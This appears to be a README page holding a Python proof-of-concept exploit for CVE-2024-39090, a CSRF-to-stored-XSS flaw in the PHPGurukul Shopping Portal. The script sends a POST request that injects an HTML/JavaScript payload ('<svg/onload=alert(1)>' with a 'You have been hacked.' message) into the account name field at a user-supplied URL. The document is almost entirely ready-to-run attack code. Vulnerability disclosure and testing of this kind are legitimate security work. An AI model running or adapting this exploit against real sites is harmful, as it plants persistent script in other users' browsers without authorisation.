README.md
Rendering markdown...
#!/usr/bin/env python3
#===========================================================
# CSRF to Stored XSS Exploit Script (CVE-2024-39090)
#
#Written by: Arvin Rafael Legaspi
#Date: October 5, 2024
#===========================================================
import requests
import argparse
def ascii():
print(r"""" ___ ___ ___ ___ _ ___ _ _ __ _____ ___
/ __/ __| _ \ __| | |_ ___ / __| |_ ___ _ _ ___ __| | \ \/ / __/ __|
| (__\__ \ / _| | _/ _ \ \__ \ _/ _ \ '_/ -_) _` | > <\__ \__ \
\___|___/_|_\_| \__\___/ |___/\__\___/_| \___\__,_| /_/\_\___/___/
""")
# Setting up command-line argument parsing
def main():
ascii()
parser = argparse.ArgumentParser(description="Exploit CSRF to Stored XSS in PHPGurukul Shopping Portal.")
# Set the arguments are required
parser.add_argument('-u','--url', required=True, help="Target URL for the vulnerable endpoint (e.g., http://localhost/shopping/my-account.php)")
parser.add_argument('-p','--payload', type=str, default="XSS">You have been hacked.<svg/onload=alert(1)><", help="Malicious XSS payload to inject (e.g., XSS">You have been hacked.<svg/onload=alert(1)><)")
parser.add_argument('-c', '--contactno', type=str, default='1234567890', help="Contact number (optional, default is 1234567890)")
# Parsing arguments
args = parser.parse_args()
# Execute the exploit function with the given arguments
exploit_csrf_to_xss(args.url, args.payload, args.contactno)
def exploit_csrf_to_xss(target_url, payload, contactno):
# Setup a POST request to the target URL
data = {
"name": payload, # Malicious payload passed as an argument
"contactno": contactno, # Contact number passed as an argument
"update": "" # Empty value for the update parameter
}
try:
# Send the POST request
response = requests.post(target_url, data=data)
# Output the response from the server
print("Response:\n")
print("=====================================================================")
# Check if the request was successful
if response.status_code == 200:
print("\nPayload successfully submitted!")
else:
print(f"\nFailed to submit the payload. Status code: {response.status_code}")
print("\n=====================================================================")
except requests.exceptions.RequestException as e:
# Print any error if it occurs during the request
print(f"Error: {e}")
if __name__ == '__main__':
main()